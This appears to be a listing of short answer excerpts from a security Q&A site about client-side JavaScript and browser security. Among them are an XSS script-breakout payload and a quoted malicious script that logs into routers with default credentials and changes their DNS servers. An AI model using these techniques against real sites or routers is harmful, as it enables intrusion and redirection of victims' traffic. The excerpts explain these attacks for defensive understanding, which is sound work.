Hot answers tagged

31

This sounds like a bad case of Security Theater Security theater is the practice of investing in countermeasures intended to provide the feeling of improved security while doing little or nothing to actually achieve it. I say this because in all reality... Given enough time, effort, and computing power security is nothing more than a delay. Of ...


10

There is no way to prevent an attacker doing this if they are already accessing the developer tools - they can simply pause the javascript and continue what they are doing. The best you may be able to do is clear the password box after a small amount of inactivity.


5

The bottom line is that you can't, but this is not as much of an issue as one might think. The thing to keep in mind is that when you change the source in a browser's debugger (which is what you're describing), it doesn't get saved anywhere. This means that the change only affects the machine the debugger is running on. I can't change the password field to ...


4

Pre-fetching as I understand it in Google Chrome performs things like DNS lookups and static content caching. In order to determine what static content to download, some parsing of the HTML document it pre-fetches must be conducted and it is known that browsers have been vulnerable to malicious HTML payloads in the past (Internet Explorer CSS and HTML ...


3

How about </script><script>alert('xss');</script><script>/* ? JS parser will find the close script, and assume the original code is malformed. HTML parser will see the open script and start a new script block. The rest is just to make the rest of the block ignored. Note that it doesn't contain any of the characters you're ...


3

It attempts to exploit your router using the most common default user/pass combos and change your DNS servers to another: var dnsprimario = "103.31.0.140"; var dnssecundario = "8.8.8.8"; document.write('<img src="hxxp://admin:admin@10.1.1.1/dnscfg.cgi?dnsPrimary=' + dnsprimario + '&dnsSecondary=' + dnssecundario + ...


3

You can not do this because all things are happening on the client side and he has almost full access to your code (html, css, javascript) using developer tools. So, he can pause or stop javascript.


2

You can't. The form needs to be able to send the password to the server for validation. Even if you develop some kind of obfuscation technique (not recommended) then, like William Dunne said, you can simply pause/stop Javascript. You are trying to achieve security through obscurity, and it won't work.


2

You could learn a lot of interesting information about the users system this way. This information could be used to find the correct exploit for the user, or just be collected or used as part of a system fingerprint to identify users (Even with another used browser). Detecting the OS would be extremely simple, but also the detection of used versions of ...


2

What serious security threats are there that solely rely on the client JavaScript code that the browser allows? One risk are buggy implementations which can be used to crash the browser or execute code by using heap spraying attacks or similar. These can be kind of mitigated within modern browsers by using ASLR, DEP, sandboxes and similar techniques. ...


2

If you're really worried about this, you could do away with passwords entirely in your application. Have the user enter their username or email and send them an email with a temporary login link.


1

Same Origin Policy ensures that you cannot read or modify the content of a page with different origin. In case of the iframe this means that the parent frame can fully replace the iframe (and thus changing the origin) but it cannot read or modify the contents of the iframe has a different origin. Thus reading a cookie cross-origin from an iframe will only ...


1

If you include any third party script in your page, the authors could potentially read any data on the page. That applies to Google Maps, any third party library hosts, advertising providers... If the data is sufficiently high risk to be worried about Google stealing it, don't use any third party scripts.


1

When you use a proxy, the ability of the server to prove its identity to your browser is broken. You can override this by the "confirm security exception" dialogs in your browser. I'm sure everyone reading this has had to do this at some point. So, you in effect told your browser to accept the identity of the main site (for example ...



Only top voted, non community-wiki answers of a minimum length are eligible